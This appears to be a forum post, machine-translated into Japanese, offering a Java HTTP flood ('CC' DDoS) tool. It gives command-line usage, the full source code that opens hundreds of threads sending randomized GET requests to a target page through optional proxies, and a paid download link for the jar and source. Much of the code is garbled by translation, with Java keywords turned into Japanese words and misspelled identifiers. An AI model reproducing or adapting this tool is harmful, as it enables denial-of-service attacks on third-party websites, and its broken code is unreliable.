JARコード dDOS攻撃はJavaによって実装されています。 しかし、従来のdDosと何ら変わりません。 このソフトウェアはページに対するDDOS攻撃です。 使い方: Java -jar ccddos.jar www.xxx.com 80 10 /index.do username=xxx 80
[mw_shl_code=java,true]import java.io.IOException; import java.net.ConnectException; import java.net.InetSocketAddress; import java.nio.ByteBuffer; import java.nio.channels.SelectionKey; import java.nio.channels.Selector; import java.nio.channels.SocketChannel; import java.util.Iterator; import java.util.Random; import java.util.Set; import java.util.Timer; import java.util.TimerTask; import java.util.Vector;
/** * デーモンの糸
* * @author行政
* */ パブリッククラステスト { プライベート・ストリングホスト、uri、パラム; プライベートインターポート; プライベート最終 ベクトル<CCDDOSThread> v = 新しいベクトル<CCDDOSThread>(); private InetSocketAddress isa; private int threadsCount = 500; スレッド数 プライベート ランダム r = 新しいランダム(); プライベートロングタイムアウト=5000l;
/** * 攻撃を開け */ パブリック・ヴォイド・スタート() { (int i = 0; 私はthreadsCountを使い<; i++) { CCDDOSThread t = new CCDDOSThread(); v.add(t); t.start();
} タイマーt = 新しいタイマー(); t.schedule(new TimerTask() { パブリック・ヴォイド・ラン() { int count = 0、timeoutthreads = 0; long ct = System.currentTimeMillis(); (イテレーター<CCDDOSThread> it = v.iterator(); it.hasNext(); ) { CCDDOSThread th = it.next(); もし(th.isCancle() || !th.isAlive()) { it.remove(); th = null; カウント++; } それ以外の場合は (ct - th.start > timeout) { タイムアウト、外部終了 timeoutthreads++; th.setCancle(true); th.interrupt(); it.remove(); th = null; カウント++; } } もし (count == 0) { 帰る; } System.out.println("スレッドが閉じられました:"+count+"、ここでタイムアウトスレッドは接続されています:) + タイムアウトスレッド); (int i = 0; 数え<; i++) { CCDDOSThread th = new CCDDOSThread(); v.add(th); th.start(); } } }, 0l, 100l); System.out.println("Daemon thread started:"); }
/** * @param args */ public static void main(String[] args) { もし(args.length < 6) { System.out.println("Instructions:"); System.out .println("java org.p3p.net.ccddos.Main <主机> <port> <同时开启的线程数> <URI> <参数> <连接超时> [<代理主机> <代理端口>]"); System.out.println(""); System.exit(0); } そうでなければ (args.length >= 8) { エージェントと設定しましょう System.getProperties().put("proxySet", "true"); System.getProperties().setProperty("http.proxyHost", args[6]); System.getProperties().setProperty("http.proxyPort", args[7]); }
テストM = 新しいテスト(); m.host = args[0]; m.port = Integer.valueOf(args[1]); m.uri = args[3]; m.param = args[4]; m.threadsCount = Integer.valueOf(args[2]); m.timeout = Long.valueOf(args[5]); m.isa = new InetSocketAddress(m.host, m.port); m.start(); }
/** * 攻撃スレッド * * @author 張洪波 * */ class CCDDOSThreads extendes Thread { プライベートブールカンクル = false; public long start = System.currentTimeMillis();
public void setCancle(boolean cancle) { this.cancle = cancle; }
パブリックブール isCancle() { カンクルを返す; }
パブリック・ヴォイド・ラン() { long start = System.currentTimeMillis(); セレクターセレクター; 試してみて { セレクター = Selector.open(); SocketChannel sc; 試してみて { sc = SocketChannel.open(isa); } catch (ConnectException ex) { System.out.println(ex.getMessage()); カンクル=真; selector.close(); 帰る; }
sc.configureBlocking(false); sc.register(selector, SelectionKey.OP_WRITE | SelectionKey.OP_READ); 待って:while (selector.select() > 0 && !cancle) { if(System.currentTimeMillis() - タイムアウト>開始) { カンクル=真; 休憩、待つ; } Set<?> readykey = selector.selectedKeys(); Iterator<?> it = readykey.iterator(); while (it.hasNext() & & !cancle) { if(System.currentTimeMillis() - タイムアウト>開始) { カンクル=真; 休憩、待つ; } SelectionKey skey = (SelectionKey) it.next(); it.remove(); SocketChannel scc = (SocketChannel) skey.channel();
if ((skey.readyOps() & SelectionKey.OP_WRITE) == SelectionKey.OP_WRITE) { 文字列ヘッド = 「GET 」 + uri + "?" + param + "&rndnum=" + r.nextInt() + " HTTP/1.1\r\n" + "Host: " + host + 「\r\n」+「Connection:close\r\n」+「\r\n」; ByteBuffer bbf = ByteBuffer.wrap(head.getBytes()); SCC.Write(BBF); } skey.cancel(); sccc.close(); } } selector.close(); sc.close();
} catch (IOException ex) { カンクル=真; } } }
} [/mw_shl_code]
完成品およびソースコードのダウンロード:
java ddos.zip
(8.42 KB, ダウンロード数: 0, 販売価格: 2 グレインMB)
|